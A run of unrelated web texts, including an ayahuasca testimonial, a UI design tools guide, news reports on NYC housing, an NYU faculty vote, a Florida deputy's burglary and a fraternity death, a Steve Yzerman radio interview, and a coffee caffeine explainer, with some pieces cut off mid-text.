But this is a journey between you and Aya; it’s almost irrelevant to anything else that goes on. The shaman with his musicians is there to help navigate you on your journey. They hold a sacred and safe place for you to go deep and discover and heal yourself.
Ayahuasca has been an extraordinary, beneficial experience for me. It has shown me aspects of my higher self, and how to relate to others and the world with compassion, love and forgiveness for those I might have once blamed for my troubles.
I don’t drink it so much any more as I feel she has shown me the way, and it’s up to me now to follow up what I learned on a daily basis. I like what Ram Dass says: “When you get the message, hang up.”
I’m deeply grateful to ayahuasca as I’ve had some of the most profound, exquisite moments of my life with it. She has led me to be more in touch with nature and to lead a more simple life. As the shamans say to honour and thank her: Aho!’Now that you have decided to start a career in User Interface Design, you must be wondering where to start from. One of the biggest milestones in designing an interface is getting inspiration. After having thought of an idea it is time to sketch it up and convert what’s on paper into digital. This article will take you through all these steps and also suggest specific software to use for that “picture perfect design”.
Inspiration
When it comes to designing interfaces it is not just about buttons or text boxes; the very reason of calling UI Design a design asserts that it is “ART”. Even a very creative person needs some kind of inspiration to expand his vicinity.
You can find inspiration from an interface you used and relished or even from an interface you didn’t quite like but would want to make changes in.
Dribbble, show and tell for designers, is the perfect place to explore ideas from. You will also see yourself uploading your work on Dribble in no time and get reviews from fellow designers.
Muz.li is a single stop for all your needs, design. Muz.li has a plethora of content for inspiration, from cool CSS libraries to the best-awarded websites. It has a weekly inspiration section of interaction design which is great for User Experience designers.
Stories by Nick Babich for UX Planet are one of the best writings for a UI/UX lover.
Sketch and wireframe:
You have to know what the user wants and wireframing is the cheapest step where you can make all the mistakes. A user flow in mind should definitely help you to make a wireframe which makes sense both to the user and the developers.
“Pen is mightier than a mouse and even a keyboard.” After being inspired and an insightful wireframe in mind you can start making sketches. The beauty of UI design is that you need not be a sketch artist to create a beautiful interface. You can create a number of interface sketches based on the wireframe and can finalise one after all the brainstorming. Empathy also plays a big role in developing sketches to make a user-centered design. A rough idea of placement of elements acts as the backbone of our next step, Digital Designing.
Digital Design
After finalising a blunt interface from your sketch you can start with creating the same on a software like Sketch or Adobe Illustrator or Hype. This is the time when you can think of a colour palette in mind, sizing of elements, placement of the logo or any other attention to detail for that matter.
You can reason behind the placement of elements and micro-interactions by empathising and relevance to context. Basically, having a user-centered approach while designing pumps up the user experience of an application. You can visit this link for a deeper understanding of user-centered design.
https://blog.templatetoaster.com/keys-good-design-empathy-motion-relevance/
Sketch 3.7 is one of the best software one can think of when it comes to designing interfaces. Sketch has templates for almost any device which gives a kick start when developing for a particular device in mind. Developing login pages, splash screen or dashboards becomes easier when you have default interface elements right at your disposal. Sketch 3.7 does a very good job with reusable elements (symbols) and is a game-changer for designers.
Adobe Illustrator, when it comes to vectors is the best tool for designing. Though it has a learning curve to it which when mastered, would make you never look any place else.
Hype 3 is also a tool which works entirely on vectors and is promising for designing interfaces and even prototypes with full-fledged animations to elements and screen transition effects. It is a great tool for designing full mock-ups of web applications or mobile applications. You can also import a Sketch file over Hype and continue from there.
TemplateToaster will be best solution to convert your imagination into reality if you are going to do a HTML5/CSS5 website or a CMS Template.
Prototyping
Prototyping is done when you have to present mock-ups of an interface. A working replica of an interface gives a feel of a real application without even starting development of the back-end. This saves a lot of time and effort because changes made now would be cheaper than the changes made after back-end development.
Marvel allows you to create prototypes by linking different designs from almost anywhere and create a linked interface with full animations and gestures to give a feel of a real app or website.
Principle for mac is a tool which allows you to give animations to your designs. From subtle micro-interactions to full-screen rapid transitions, everything is possible via Principle. You can easily import a Sketch file and animate smallest of elements in no time, it is this easy.
Proto.io is another prototyping tool which you can use to give life to your static designs and develop full mock-ups. There is a myriad of examples of interactions and animations which can get you inspired in no time.
In the end…
Think of a user flow which makes sense by empathising a user and develop a wireframe according to that. Jot down all the terminologies and steps and be aware of the context of the app or website you are trying to design. Sketch it up and brainstorm and then sketch it up again. When you feel comfortable with the design open up Sketch or Illustrator and start designing. If you are designing multiple screens use a prototyping app to give life to those animations. Spice it up and show it off on Dribble.
Happy Designing!JEFF JACOBY'S April 5 column "Finally, harsh realism from Israel" claims that the new Israeli foreign minister will support the so-called road map as an approach to resolving Israel's conflict with the Palestinians. However, this Israeli government, like its predecessors, has little interest in complying with its obligations. In fact, the Likud Party platform of incoming Prime Minister Benjamin Netanyahu and several coalition partners repudiate the main premise of the agreement: a commitment to the creation of a sovereign Palestinian state.
Phase 1 of the road map calls for dismantling settlement outposts established since March 2001 and freezing "all settlement activity (including natural growth of settlements)" as well as halting "confiscation and/or demolition of Palestinian homes and property" and "easing restrictions on movement of persons and goods" in the West Bank and Gaza. None of this has happened. All indications are that seizure of Palestinian land and expansion of the settlements will continue under the new right-wing Israeli government. Meanwhile, plans for the destruction of Palestinian neighborhoods in East Jerusalem and their further isolation from the rest of the West Bank are being accelerated.
This is not "harsh realism"; it is a continuing Israeli policy of bad faith that claims to support "peace" while laying the foundation for permanent occupation and colonization. Let us hope that the Obama administration will call an end to tacit US support for this cruel charade.
Jeff Klein
Dorchester
© Copyright 2009 Globe Newspaper Company.Mayor Bill de Blasio and the Department of Housing Preservation and Development has come under attack by critics for approving building plans in NYC that include separate entrances for affordable-housing tenants and luxury-condo owners. The debate raises other questions about the urban poor and the mixing of classes in the city, and there are reasonable arguments on both sides of the issue.
40 Riverside Boulevard, an Upper West Side project of the Extell Development Company, is the property at the heart of this particular controversy. Its 55 street-facing units for low-income residents have helped permit its developers to create many of the other 219 additional units to be sold at market rates and take advantage of associated tax breaks. The aggregate effect of the benefits? An estimated $100 million in added floor space value for this 33-story tower.
The now-approved plans call for a back-alley entryway for second-class residents and a more prominent front entrance for its full-priced buyers. Detractors say the separation of entryways defeats the intention of the program, effectively segregating low-income from regular housing. Arguments on the flip side suggest that the city should focus its efforts developing less-valuable land elsewhere for subsidized housing projects, and allow builders to go higher without having to add affordable housing (in order to meet existing high-end demand).
The Inclusionary Housing Program to which Extell applied is meant to encourage integrated complexes and, in exchange, allow developers to build larger structures on coveted urban sites. At issue is the notion that this development may follow the letter but not the spirit of the system, which, in theory, should be arbitrated by the HPD, but in practice has become part of a larger public discourse.
The heated and ongoing debate has caused Manhattan Borough President Gale Brewer to promise a rejection of any future plans that similarly separate out entrances. Whether that will truly help solve the island’s long-term affordable-neighborhoods issue, though, remains to be seen.We’ve had lots to celebrate at Couchbase lately and today I’m happy to announce that we have been named one of the “50 Highest Rated Private Cloud Computing Companies to Work for” in a recent study by Glassdoor and Battery Ventures.
The report identifies private cloud computing companies that are highest rated on Glassdoor, based on company ratings shared by employees. (Glassdoor currently holds millions of workplace reviews, ratings and insights shared by employees anonymously on approximately 580,000 companies around the world.)
To be considered, a private cloud company must have received at least 30 company reviews on Glassdoor as of August 2, 2016. On a 5-point scale, the average employee-satisfaction rating across all companies on Glassdoor is 3.3, and the average rating for the top 50 cloud companies was 4.5, which is also Couchbase’s score. This is a true testament to the workplace culture all of us at Couchbase create on a daily basis.
As much as we focus on our customers and helping some of the world’s leading enterprises build their Digital Economy databases, we never forget the core of our company and the ones that make it all happen – our employees. We have and will continue to invest in our talented team.
“Employees at these highly rated companies commonly mention in online reviews that they enjoy working for mission-driven companies with strong and unique company cultures; employers that embrace and promote transparency; and companies with experienced senior leadership teams who regularly and clearly communicate with employees,” said the Glassdoor report.
We wanted to take this opportunity to share the good news, and invite anyone looking to join a fast growing company with a dedicated, fun, ambitious team to visit our careers page at: http://www.couchbase.com/careers/open-positionsPope asks Catholic Church not to alienate kids of gay or divorced parents "We must be careful not to administer a vaccine against faith to them," said the pontiff
Pope Francis has asked the Catholic Church, which opposes gay marriage and divorce, to reconsider its approach to children with gay or divorced parents for fear of alienating them.
According to fragments of a November speech published on Saturday, the AFP reports that the pontiff observed that "on an educational level, gay unions raise challenges for us today which for us are sometimes difficult to understand," and that "the number of children in schools whose parents have separated is very high."
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He then told an anecdote about a child: "I remember a case in which a sad little girl confessed to her teacher:'my mother's girlfriend doesn't love me'... how can we proclaim Christ to a generation that is changing?"
Though Francis is not pro-gay marriage, he has previously remarked that "you can't marginalize these people" in reference to the LGBT community. In the speech published Saturday, Francis urged the Catholic Union of Superiors General to "be careful not to administer a vaccine against faith to them."Tampa Bay Lightning General Manager Steve Yzerman was recently interviewed by Brent Axe (@BrentAxeMedia) during his “On the Block” segment on ESPN Syracuse. Axe asked Yzerman about Tampa’s relationship with the Syracuse Crunch, which players have impressed him the most, why he likes coach Ben Groulx, and the options for Crunch’s starting goaltender next season.
Quick Note: For the sake of clarity and fluency, I have omitted extraneous uses of the phrases, “and,” “but,” and “you know.”
Brent Axe: Let’s talk to a gentleman who frankly needs no introduction, but I like to do these so we’ll do it anyway. He is currently the general manager of the Tampa Bay Lightning. He won three Stanley Cups with the Detroit Red Wings. He’s a member of the Hockey Hall of Fame, inducted in 2009. He was the longest serving captain in NHL history with the Red Wings.
He has been here in Syracuse watching this Crunch team make a run through the Calder Cup Playoffs. They’ll be back at it again Wednesday night at the War Memorial in Game 3 of the Eastern Conference Finals. We’re talking about Steve Yzerman who joins us here on ESPN Radio Syracuse. Steve, greatly appreciate your time. How are you doing, sir?
Steve Yzerman: I’m doing fine, thank you.
Atmosphere at the War Memorial Arena
Axe: Steve, I want to start right there. You have been here. You have seen these games. You have seen how much of an advantage it can be to play in that War Memorial, in that old rink. You had some great compliments about that, that the Crunch sent out the other day. Just want to ask you your experience of coming to these games and seeing playoff hockey at the War Memorial - a little old school hockey going there.
Yzerman: Yeah, well obviously it’s an older, traditional arena with a lot of character. The new arenas that are built today - they’re all very nice. All modern amenities and whatnot, but for the most part everything is pretty generic. At the War Memorial, fans are right on top of you. It’s cramped quarters, although we made the ice surface 200 [feet] by 85 [feet] which we felt was important for our players and the way we want to play the game. It is a good building. Pretty much the fans [are] right on top of the players. It provides further motivation and can on occasion rattle your opponent a bit.
Relationship between Tampa and Syracuse
Axe: Steve, we have seen a terrific relationship between Syracuse and Tampa Bay since they became partners and you’ve been a part of it the whole way here. I just want to get your perspective on why you feel this has been such a great working relationship between Syracuse and Tampa.
Yzerman: Well, it starts with number one, we think Syracuse is a good hockey community. There are a couple of previous players from upstate New York - all over the state of New York, for that matter. The team is really supported very well by the Syracuse community and we put value on that. All of our players that play there enjoy living in the community and playing there. [Syracuse Crunch President and Chief Executive Officer] Howard [Dolgon], [Chief Financial Officer] Vance [Lederman], and [Chief Operating Officer] Jim [Sarosy] have been great partners for us. We really enjoy working with them. They’re passionate about the Crunch. They really love the city of Syracuse. From our perspective as a partner, the thing is they want to win and we want to win. They’ve made a commitment along with us that they will do whatever we have to do to run a good program. We’ve really enjoyed it. They do a lot of fun things there. This year you watch, they’ve got the lip syncs going on. [Axe laughs]
You are our, the one desire. pic.twitter.com/RmHA9CQnXj — Syracuse Crunch (@SyracuseCrunch) April 15, 2017
Yzerman: They have a lot of fun along the way and we really appreciate that. It has been great and we look forward to continuing. Hopefully at one point here we can also win a championship. The team’s been there for a long time and they’re ready to win again.
Important player traits
Axe: Steve, this is a question that’s been discussed before but it’s great to get it right from the horse’s mouth, per se. When you are overseeing this, you are looking down here to Syracuse and developing players to go to Tampa Bay. What would you say really describes the ideal player in the Tampa Bay Lightning system? What you look for and what you want these players to develop into.
Yzerman: Well, I guess more than one thing, but the things we’re looking for - number one, good character is really important. We want good people. We’re taking young men here [at] 18 years old and going forward, that it takes time for them to mature and develop. Their character is evolving over time. We look for character. We look for players that are very competitive. These are all the traits - character, competitiveness, obviously skill, athletic ability, skating ability, and then intelligence. So you need some form of all of those things. Every player has different strengths, but those are the elements that we look for in a player. They could be developed and evolve over time. Hopefully they go all in a positive direction, but sometimes over time people change and things don’t work out as well.
Making a deep playoff run
Axe: Talking to Tampa Bay Lightning General Manager Steve Yzerman with us here on ESPN Syracuse. The Crunch play Game 3 of the Eastern Conference Finals on Wednesday night at the Onondoga County War Memorial. Steve, sometimes you just need a lot of things to come together at the right time and it did for this Crunch team. They got enough players back from Tampa to get acclimated, play a few games. They go into the postseason and now we kind of really see this team coming together.
That’s a hard thing to do, to kind of throw everybody back together and say, “Hey, go out there and make a deep run in the postseason,” but they’ve been able to do that thus far. They really have the capability to go far and compete for a championship, as you said.
Generally, what would you attribute that to? How these guys were able to come together and just put together this team? There’s a lot of talent there certainly, but as you know it takes more than talent to build a championship team. When you look at it, why do you think this is gelling the way that it is, and doing it late in the year?
Yzerman: Well, we had a lot of players from the Crunch up [in Tampa] really throughout the course of the season, but in particular at the end of the year due to injuries and some trades we made. We brought up a lot of players. We were able to get everybody back, and for the most part healthy, back to the Crunch for the playoffs. One player we didn’t make eligible that the Crunch could have used would be Luke Witkowski but everybody else has filled in. Mathieu Brodeur has come in and done a good job. The younger defensemen have done a real good job. You’re absolutely right, a lot of stuff has to come together at the right time for any team, whether it’s the NHL or the American Hockey League, in any league to have a long, successful playoff run. Health is a big part of it. We do have some banged up guys, but for the most part the team has remained healthy. And match-ups are key. For whatever reason, everybody has that one opponent that regardless of whether it’s a number one seed or the eighth seed, you have those opponents that you have a tough time with. So a lot of it has to fall into place to have a long run and to win a championship. Right now we’ve got our hands full with a very different opponent in Providence than we had in Toronto. Different type of team, they play a different style. Listening to [the radio station segment] prior to coming on, they’re very very good on the road. We’re pleased to get a [one game won, one game lost] split in Providence. Tried to steal that one last night, weren’t able to do that. We let an opportunity get away and now we’ve got to come home knowing we’re playing against a pretty experienced team that is very good on the road.
The @AHLBruins found the back of the net in overtime to defeat the #SyrCrunch and even the series, 1-1. #PROvsSYR #FIN15H pic.twitter.com/SJtJ6E67cy — Syracuse Crunch (@SyracuseCrunch) May 22, 2017
Most impressive players
Axe: Steve, there’s a lot of players we could mention here, but I do want to ask you - through this postseason, who has stood out to you in being the key players in this run? Who has just impressed you with some improvements they’ve made, how they’ve played? You tell me some names that have really jumped at you here in this playoffs for the Crunch.
Yzerman: Well I would start by saying here we are, two games into the third round. If you look back at all the games that have been played, there’s been contributions - great contributions - from everyone. Different line combinations, defensive pairings, individual performances on every given night. Collectively, it’s been a real good effort by everyone and that’s why the team is here. It’s tough for the young players, particularly the young D-men [defensemen], to come out and play in the American Hockey League as regulars, now playing in the third round. You look at your Dominik Masin and Ben Thomas as first year D-men that have really come in and done a good job. It’s a difficult thing to do. I watch Slater Koekkoek and Jake Dotchin playing heavy, big, big minutes and doing very well. Of course you have Matt Taormina on the back end there, the veteran coming up with a lot of good, key plays at important moments in the games. Then up front, really everybody’s been really good for us. I’ll start with some of these younger guys. Adam Erne playing in his first year is getting better with each round. Matthew Peca in his second year is really evolving as a clutch player and playing a good two-way style of hockey. I look at all of our veterans. They’re all playing very well. Yanni Gourde you have to think of as a veteran, is still young. Yanni and Cory Conacher. Erik Condra has done a fantastic job under pressure, keeping everyone focused, calm, and relaxed, and playing the game the right way. Really I could go down the entire roster and comment on the players. They’ve all made valuable contributions.
Coach Benoit Groulx
Axe: Speaking of making contributions, I don’t think there’s any question that would describe how Ben Groulx has come in and coached this team, Steve. You and [Lightning Assistant GM / Crunch GM] Julien [BriseBois] made the [head coaching] change before last season. Ben has come in, implemented his style, his system, and furthered what Tampa Bay wants to do here at the Syracuse level.
What did you see in Ben when you brought him in? Obviously he’s brought this team this far. Do you think he has the makings of a coach that could be in the National Hockey League someday?
Yzerman: I do believe he’ll be a coach in the National Hockey League, it’s just a matter of when. He’s been very successful at the junior level for a long time. When people - constantly their teams are competitive and win championships; he’s won a world championship with the Canadian junior team. It’s not by accident. His teams are constantly competitive and he’s gone deep in the playoffs and won. It’s his first year in the American League. It is a bit of an adjustment going from junior hockey to the American League. He’s been in the American League before, so he had a pretty good handle on it coming in. What I really like - he takes charge. It’s his team. The players know he’s the head coach. What he demands is the guys play hard, play fast, and it’s a high-pressure type of game. He demands his players to be competitive and holds them very very accountable. He’s upfront with them and straightforward with them. They know where they stand, good or bad. I think players appreciate that. I like the style of play the Crunch play. I like the habits that he teaches, the principles, and the style of play that he wants the team to play. Like I say, I don’t think Ben [Groulx] is in any hurry, but I believe that over time NHL teams will come calling for him.
Goaltenders for next season
Axe: Steve, one last thought from you here. You only go as far as your goaltender can take you in the postseason, as you well know having won three Stanley Cups. Mike McKenna has been fantastic throughout the postseason. He’s had some blips on the radar screen, certainly I know he’d like back. He’s been solid overall. To bring him in late in the year, make the trade, acclimate himself, and gain the respect of his teammates - he has certainly done that.
I think that the second part of my question is, and I know there’s decisions that have to be made and this is not in stone, but it seems he would make a great mentor for Connor Ingram who’s a young up-and-coming goaltender that’s going to be coming through the system in the near future.
Yzerman: Mike has played really well throughout the playoffs. Actually he looks like he’s getting better, looking like he’s getting more comfortable with each game. Pucks are sticking to him, hitting him in the chest. He’s reading the play very well. I think his play has improved with each round, with each playoff game. As far as what we do next year, right now we’re in the middle of the third round. We’re not about to talk about contracts or anything with any of our players at this time. It’s all about playing the games and winning them, being focused on that. It’s obviously a situation we’re going to address immediately at the end of the season.
Axe: Good problem to have in a lot of ways. Steve, I know you’re a really busy guy - so much happening. You’ve got players in the Calder Cup playoffs, in the World Championships, the Memorial Cup - there’s a lot happening, a lot of things for you to keep an eye on. I appreciate you taking a few minutes to talk with us. Hopefully we’ll see you Wednesday night for Game 3.
Yzerman: My pleasure, looking forward to it. It’s going to be exciting. We’ve got three in a row here at the War Memorial. It’s going to be a lot of fun. I hope our players, I hope our team responds really well to a tough challenge here ahead.
Axe: Thank you, Steve. We’ll talk again soon.
Yzerman: My pleasure, thanks.
Axe: Thank you. That’s Steve Yzerman, heard of that guy? General manager of the Tampa Bay Lighting, three-time Stanley Cup champion, Hockey Hall of Famer.BREAKING: Professors Vote, Declare No Confidence In President Sexton
NYU Local Blocked Unblock Follow Following Mar 15, 2013
By Zoë Schlanger
When the poll closed at 6:00pm today, professors from the College of Arts and Science were gathered in the basement of La Lanterna café on MacDougal Street, awaiting the outcome of a week-long vote of no confidence conducted by their colleagues. At 6:09pm, screams and clapping erupted from the cluster of tables they occupied: the vote had passed.
“It’s crumbling! It’s like Jenga!” shouted someone in the crowd.
Mark Crispin Miller, NYU professor and head of the group Faculty Against the Sexton Plan, announced the news: of the 682 eligible CAS professors, 569 cast their anonymous, electronic ballots, amounting to just over 83% participation. The majority of them — 298 professors — voted ‘agree,’ indicating that they did did not have confidence in John Sexton in his capacity as president of the university. 224 voted in favor of the president, and 47 professors abstained from the vote. The motion of no confidence has been passed by the Faculty of Arts and Science.
To be eligible to vote, the professors had to be tenured or tenure-track full-time faculty.
NYU’s board of trustees responded with a statement from board chair Martin Lipton an hour after the results were announced, calling them a “disappointment.” Lipton is a longtime advocate for NYU’s 2031 expansion plan:
The Board of Trustees unanimously and strongly supports President John Sexton, and believes in his strategic direction for the University.
[…]
To be sure, we are attentive to the vote by arts and science faculty, and conscious of what it says about sentiment in that school. But we also take note of the vote of support by the Medical School faculty council; the letters of support for John from department chairs at the School of Medicine, the College of Dentistry, and the College of Nursing; the letter of support from the Alumni Association’s officers; the support for John’s leadership among the University’s deans; the popularity John enjoys among students; and the many affirmations we hear about John’s leadership from those outside the NYU community.
Follow all of NYU Local’s Vote of No Confidence coverage here.
[Image via]This physiological response has been mentioned so many times that I decided it needed its own specific post to plug into the Cold Water Swimming articles section.
What is peripheral vasoconstriction?
Following immersion in cold water, blood flow is reduced in human limbs and skin.
Why does peripheral vasoconstriction happen?
Peripheral vasoconstriction occurs to allow the body to retain core heat for longer as protection against hypothermia by allowing the skin to act as an insulating layer between core organs and the water.
It also allows more oxygen to be delivered to important and oxygen-sensitive organs such as heart and brain.
When does peripheral vasoconstriction happen?
Immediately on entering cold water, it’s initiated by cold receptors (aka thermoreceptors, which are different kinds of heat or cold detecting nerves) in the skin. The body doesn’t have to be fully immersed, just the lower legs being in cold water is sufficient.
Is any part of the body not affected by peripheral vasoconstriction?
The head is not effected. (Heat loss during cold water immersion is greatest in the head, neck, upper chest and groin).
At what water temperature does peripheral vasoconstriction happen?
Some sources seem to indicate that peripheral vasoconstriction occurs at temperatures of below the Lower Critical Temperature (L |
29th January – 10.30am – 3.30pm A Royal Audience and ‘monarch makes’ in the Knights’ Chamber.
Sunday 29th January – 2.00pm, Tudor Peterborough Walk starting at Peterborough Museum.
Sunday 29th January – 3.30pm, Choral Evensong at Peterborough Cathedral.
There is also an exhibition running throughout the weekend at Peterborough Museum called “Tremendous Tudors”.
You can find out about all the above events and buy tickets etc. at http://www.peterborough-cathedral.org.uk/home/katharine-2017.aspx.
Categories: Six WivesResidents protesting a 12-foot-wide, paved bike path for Kitsilano Beach and Hadden parks are not going down without a fight, despite the fact the Vision Vancouver-dominated park board insists the project is a done deal.
A petition is in the works, a rally has been organized for Sunday, signs have been posted and typically media-shy residents are speaking to reporters for print, TV and radio.
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And according to park board staff, the white lines painted through the parks to supposedly mark the route of the path are not of their doing and will soon be removed.
Lynne Kent, a member of the Kits Point Residents Association, said the park board’s claims of a thorough public consultation are false.
“The park board says this was one of the largest consultations ever done,” said Kent, who added the fact the board would make such a claim demonstrates its inexperience.
“This was nothing compared to other consultations over much less problematic issues.”
The $2.2 million bike path was approved by the park board Oct. 7 as part of the overall Seaside Greenway plan connecting Canada Place to Stanley Park to False Creek and finally Jericho. This path is an extension of the Cornwall-Point Grey bike lane, and some residents have accused the city and park board of burying the details within the Seaside Greenway report and consultation.
According to that report, the public consultation included open houses, meetings, workshops, online questionnaires and a survey. The first question on the survey asks: “Our goal is to make walking and cycling in and through the parks safer, more convenient, and more comfortable — without compromising the way many ways people use the park.
Do you support this goal?” In response, 95 per cent of the 372 surveyed answered, “Yes.”
Based largely on that survey, the report said it became clear separate bike paths through Kits and Hadden Beach parks were “overwhelmingly supported.” The report noted that during busy times the shared pathway along that route can be dangerous, and conflicts between pedestrians and cyclists take place frequently.
Kent argues the report ignores the covenant under which Hadden Park was deeded to the city. Wealthy developer Harvey Hadden purchased the land from the CPR in 1929 and donated it to the city under strict conditions. Hadden wanted the park reserved for public recreational use, the land kept as natural as possible, the beach used only for swimming and the property protected from encroachment. When the Maritime Museum was proposed in 1957, an estate agent acting on behalf of the late Hadden wrote the park board reminding commissioners of the conditions included in the deed.
Kits point resident Marg Zibin is concerned about how the path might affect the memorial bench dedicated to her husband in Hadden Park. She suspects the bench is either directly within the bike path route or close to it.
“The bench with my late husband’s plaque still had one more year in the contract,” Zibin told the Courier in an email. “The park board have not contacted me about any proposed bike path and/or moving of any memorial benches. As I have had the same address for more than 40 years, not being able to locate me would not fly as an excuse.”
(At press time, the park board had not issued a response on memorial benches.)
KitsFest co-founder and two-time Olympian Howard Kelsey also has a bench named in his honour, but his biggest concerns are how the bike path will interfere with and possibly endanger the basketball, volleyball and tennis players who frequent Kits Beach annually. He says none of the sports associations representing these players was notified.
“They talked to 370 people, but didn’t bother to contact any of the organizations that use the beach every day,” said Kelsey. “The path is going to be 15 feet away from the Rick Hansen play area and close to the basketball courts, which are some of the most popular in Canada. And with the angle of the road, cyclists will be coming down that hill and picking up speed right there.”
Kelsey has joined forces with representatives from several sports organizations as well as a growing crowd of residents to convince the park board to shift the bike path onto the street.
Adam Smith, another member of the Kits Point Residents Association, has joined the protest. In a letter to the park board, Smith wrote in part: “Another acre of asphalt in Kits Beach Park? For a bike path that could just as easily be routed along adjacent streets, streets that I have been riding on for years without trouble? And your justification for this is a survey that made no mention of the actual plan, but instead asked a vague question about safety? Such a level of intellectual dishonesty, as the justification of this plan by the survey conducted, has no place in good government.”
Vision Vancouver park board vice-chair Aaron Jasper said when a licensed bistro was proposed for English Bay in 2010 under an NPA-dominated board, a survey completed at the time included fewer participants than the consultation for the bike path.
“But now they’re criticizing Vision for no consultation, but previously they thought 195 people was sufficient to build a restaurant on the beach,” said Jasper.
Not everyone is unhappy with the plan.
“We’re delighted to see the city continue to work on the seawall,” said Lisa Slakov, co-chair of the Vancouver-UBC Committee for HUB, formerly the Vancouver Area Cycling Coalition. “The Greenway was introduced in the mid-’90s with a mandate of pedestrians first and people on bikes next and they are continuing that work.”
Slakov added while she hasn’t seen a definitive route for the bike path, it appears to be similar to the situation at Second Beach. “That used to be a combined path there, too, but then they moved the bike path over and it works great for everyone.”
A rally organized by the Kits Point Residents Association and Save Kits Beach is scheduled for noon Sunday, Oct. 20, in front of the Boathouse at Kits Beach.
sthomas@vancourier.com
twitter.com/sthomas10Deputy burglarizes elderly storm victim's home (WPEC)
A Florida sheriff’s deputy was arrested after surveillance video showed him stealing from an elderly man who was fatally injured during Hurricane Irma — and the victim’s family believe he may have done it before.
Deputy Jason Cooke was taken into custody last week on burglary and grand theft with a firearm charges for allegedly robbing the home of 85-year-old Moe Rosoff, who fell during the storm and later died, reported the Sun-Sentinel.
The Palm Beach County sheriff’s deputy allegedly found the garage code in a dispatch log and used it to gain access to the home 90 minutes after paramedics took the gravely injured man to the hospital.
The home was equipped with a motion detection system that recorded video showing Cooke inside the home, and the dead man’s son later turned the video over to police.
Relatives say Cooke stole money, jewelry and medications from the home — and they accused police of dragging their feet on the arrest and withholding documents about the case.
The family reported the video to police on Sept. 20, eight days after the break-in, but Cooke was not arrested until Oct. 19 — nearly five weeks later.
Relatives said the video appeared to show Cooke popping a pill into his mouth as he left the home, and they said investigators later found drugs in his patrol car that probably did not belong to their dead father.
They said police allowed Cooke to enter a 30-day drug rehabilitation program before his arrest, and they said officers blocked the police report from them until the day after Cooke’s arrest.
The family also said the number and variety of drugs found in Cooke’s patrol car suggests he may have been using them while on duty.
“If Officer Cooke was operating in his official capacity under these medications,” the family said in a statement, “it is our belief that he may have posed a significant threat to the public’s safety since just a few of the noted side effects of these medications include confusion, impaired thinking, impaired reactions, abnormal behavior, tremors, drowsiness, altered state of consciousness and anger. In our opinion, had we not had this video, this cop would still be out there posing a threat of danger to the community he swore to protect and committing more crimes.”ROCKVILLE, MD — A Rockville man died Friday after a fight with a member of his fraternity at Indiana University of Pennsylvania, with some witnesses saying the victim was choked until he collapsed Friday night. Caleb Zweig, 20, a graduate of Thomas Wootton High School, fought with fellow Phi Delta Theta member Brady DiStefano, 19, then became unresponsive.
Zweig, an English major, was pronounced dead at Indiana Regional Medical Center. IUP student Brady DiStefano, 19, was charged with aggravated assault. A prosecutor told The Washington Post the two men apparently fought on the street near the university campus.
According to the charges, a witness told police that DiStefano was on top of an unconscious Zweig, and that DiStefano began to strangle him. The witness said he "pulled DiStefano off Zweig and began to render aid to Zweig" before an ambulance arrived, reports the Indiana Gazette.
An autopsy to determine Zweig's cause of death was inconclusive, said Indiana County Coroner Jerry Overman Jr. He has not ruled on the cause or manner of death.
"We couldn't see any visible injuries at this time, so we're waiting for results of toxicology and other tests from the autopsy to see what we'll know," Overman told the Indiana Gazette.
On Facebook friends recalled Zweig as a warm and caring friend who had helped rescue a woman from a serious car crash in October 2015.
"He was a hero to me, he was a hero to all," wrote Facebook user Zaid Islam.
"The image of you smiling and laughing is the only thing racing through my mind. My prayers and sincere condolences to the Zweig family, and Joshua C. Zweig an amazing brother stay strong and fight on in his memory," wrote Mariah Wilson-Adams on Facebook. "Love you Caleb, you will never be forgotten only deeply missed.
Phi Delta Theta International Fraternity said it "was deeply concerned and saddened by the tragic passing of Brother Caleb Zweig. We offer our deepest condolences to Caleb's family and friends, the Men of Pennsylvania Lambda, and the IUP Greek Community on the loss of Brother Zweig."Coffee drinkers know that a cup of joe isn’t just a nice beverage — for many of us caffeine-crazed java lovers, it is a necessary part of our morning routine, not to mention it is the only way for us to make it through the entire work day. Unfortunately, office coffee doesn’t always cut it, and those daily runs to Starbucks can get expensive, so you want to make sure you are getting the biggest buzz for your buck when you do end up shelling out for fancy coffee shop drinks. Luckily for you coffee lovers, Business Insider set out to find what kind of coffee has the most caffeine, so you can get the most out of your cup. Let’s all take a collective sigh of relief.
Breaking down the numbers in a simple, easy-to-understand video, Business Insider shows us everything we’ve ever wanted to know about how much caffeine our morning brew packs. Whether you're looking for a quick fix to keep you awake during your morning meeting at work, or you're just looking for a little extra boost of energy to help make the afternoon go by a little faster, here are three things that determine just how much caffeine you're actually getting when you order up that cup of coffee.
1. Espresso Versus Regular American Drip
A typical serving of drip coffee contains 95-200 mg of caffeine per eight ounce cup, and a standard serving of espresso contains 47-75 mg of caffeine per one ounce cup. So while drip coffee contains more caffeine than a typical serving of espresso does, espresso has more caffeine per ounce, which explains the buzz you get from the tiny cup.
2. The Coffee Bean Matters
Different beans have varying levels of caffeine content. For example, Ethiopian coffee is 1.13 percent caffeine, while Tanzanian coffee is 1.42 percent caffeine. The popular Arabica bean only contains 1.5 percent caffeine, while the strongest bean, the robusta bean, is 2.4 percent caffeine. Believe it or not, the color of the bean reveals information about its caffeine content. Darker beans require a longer roasting time, which means that more caffeine will burn off. Therefore if you are looking for a caffeine fix, stick with light beans.
3. How the Beans are Prepared Affects Caffeine Content
For the most caffeine per cup, buy finely ground coffee beans. Finer grinds have greater surface area for caffeine extraction. Additionally, brewing coffee between 195-205 degrees yields the best caffeine extraction. A longer brew time also results in a more caffeinated beverage, so stick with drip coffee instead of a French press.
So, if you are at a coffee house looking for the most caffeine-infused option on the menu, opt for a double espresso made with lightly roasted robusta beans. Or, if you are anything like me, you will just skip the whole shebang and order tea.
To see how it all breaks down (and for more tips on how to get the most caffeine from your coffee as possible), check out Business Insider's full video.
Images: Brandon Shea, Pen Waggener, tico_24,David Hilowitz/FlickrFirst the No victory in the Scottish referendum, now the debate about how much extra power should be extended north of the border. While the commission tasked with coming up with proposals prepares to publish them at the end of the month, it raises the question of whether any federal states around the world might provide a useful template.
After all, Gordon Brown talked about a modern form of Scottish home rule, “as close to a federal state as you can be in a country where one nation is 85% of the population”. And the SNP’s new deputy leader Stewart Hosie has said that the Scottish people were promised the “closest thing to a federal state within one to two years”.
There is a difficulty here, however. Aiming towards a federal state structure makes it necessary to also look at reforming the UK’s central institutions. As recently suggested by Labour leader Ed Miliband, there is the question of whether the House of Lords should be reformed into a chamber able to represent UK regions. There are also questions about the status of Wales and Northern Ireland as well as of England.
